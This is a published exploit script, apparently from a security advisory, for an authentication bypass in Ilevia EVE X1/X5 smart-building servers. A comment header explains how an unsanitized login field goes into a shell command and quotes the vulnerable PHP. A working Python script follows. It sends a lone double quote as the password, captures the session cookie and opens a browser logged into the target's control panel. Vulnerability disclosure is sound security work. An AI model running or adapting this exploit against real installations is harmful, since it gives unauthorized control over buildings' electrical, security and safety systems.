📄 Ilevia EVE X1/X5 Server 4.7.18.0.eden Authentication Bypass

#!/usr/bin/env python
    #
    #
    # Ilevia EVE X1/X5 Server 4.7.18.0.eden Authentication Bypass Exploit
    #
    #
    # Vendor: Ilevia Srl.
    # Product web page: https://www.ilevia.com
    # Affected version: <= 4.7.18.0.eden (Logic ver: 6.00)
    #
    # Summary: EVE is a smart home and building automation solution designed
    # for both residential and commercial environments, including malls, hotels,
    # restaurants, bars, gyms, spas, boardrooms, and offices. It enables comprehensive
    # control and monitoring of electrical installations through a highly customizable,
    # user-friendly interface.
    #
    # EVE is a multi-protocol platform that integrates various systems within
    # a smart building to enhance comfort, security, safety, and energy efficiency.
    # Users can manage building functions via iPhone, iPad, Android devices, Windows
    # PCs, or Mac computers.
    #
    # The EVE X1 Server is the dedicated hardware solution for advanced building
    # automation needs. Compact and powerful, it is ideal for apartments, small
    # to medium-sized homes, and smaller commercial installations. It is designed
    # to manage entire automation systems reliably and efficiently.
    #
    # Desc: The application constructs a shell command using unsanitized user input
    # passed to the system() function, calling an external binary for authentication.
    # Due to improper input handling and reliance on the binary's return value for
    # access control, an attacker can inject special characters, such as a double
    # quote (") to manipulate command parsing and induce execution failure. Since
    # the application interprets any non-zero exit code from the binary as successful
    # authentication, this flaw allows remote users to bypass authentication entirely
    # without providing valid credentials.
    #
    # ------------------------------------------------------------------------------
    # /login/login.php:
    # -----------------
    # 22: $strCmd = "/ilevia/bin/ilevia_authenticate -u \"" . $_POST["userid"] . "\" -p \"" . $_POST["passwd"] . "\"";
    # 23: system($strCmd,$retVal);
    # 24: if($retVal > 0){
    # 25:   $_SESSION["authorized"] = 1;
    # 26:   $destinazione = "../main/index.php";
    # ------------------------------------------------------------------------------
    #
    # Tested on: GNU/Linux 5.4.35 (armv7l)
    #            GNU/Linux 4.19.97 (armv7l)
    #            Armbian 20.02.1 Buster
    #            Apache/2.4.38 (Debian)
    #            PHP Version 7.3.14
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    #                             @zeroscience
    #
    #
    # Advisory ID: ZSL-2025-5958
    # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5958.php
    #
    #
    # 01.05.2024
    #
    
    
    from webdriver_manager.firefox import GeckoDriverManager as GDM
    from webdriver_manager.chrome import ChromeDriverManager as CDM
    from selenium.webdriver.firefox.service import Service as FS
    from selenium.webdriver.chrome.service import Service as CS
    from selenium.webdriver.common.by import By
    from selenium import webdriver
    import sys, time, requests
    
    def meta(ip_port):
        if ':' not in ip_port:
            ip_port += ':8080'
        return f"http://{ip_port}"
    
    def auth(url):
        log_in = f"{url}/login/login.php"
        data = {
            "userid": "admin",
            "passwd": "\"",
            "login": "Login"
        }
        sess = requests.Session()
        r = sess.post(log_in, data=data, timeout=5)
        if "PHPSESSID" in sess.cookies:
            sess_id = sess.cookies.get("PHPSESSID")
            print(f"..> Authenticated. PHPSESSID={sess_id}")
            return sess_id, sess.cookies.get_dict(), url
        else:
            print("..> Failed to get PHPSESSID.")
            sys.exit(1)
    
    def surfaj(sess_id, url, browser='chrome'):
        print("..> Launching browser...")
    
        options = None
        driver = None
        domain = url.split("//")[1].split(":")[0]
        port = url.split(":")[-1]
        cookie_D = domain
    
        if browser == 'chrome':
            options = webdriver.ChromeOptions()
            driver = webdriver.Chrome(service=CS(CDM().install()), options=options)
        elif browser == 'firefox':
            options = webdriver.FirefoxOptions()
            driver = webdriver.Firefox(service=FS(GDM().install()), options=options)
        else:
            print("..> Unsupported browser.")
            return
    
        driver.get(f"{url}/login/login.php")
    
        driver.add_cookie({
            "name": "PHPSESSID",
            "value": sess_id,
            "domain": cookie_D,
            "path": "/"
        })
    
        time.sleep(1)
        driver.get(f"{url}/main/index.php")
    
        print("..> Wait for it.")
        input("..> Press Enter to close the browser...\n")
        driver.quit()
    
    def main():
        if len(sys.argv) != 2:
            print(f"Usage: python {sys.argv[0]} <IP[:PORT]>")
            sys.exit(1)
    
        smart = sys.argv[1]
        url = meta(smart)
        sess_id, cookies, url = auth(url)
        print(f"..> Cookie: PHPSESSID={sess_id}")
        surfaj(sess_id, url, browser='chrome')
    
    if __name__ == "__main__":
        main()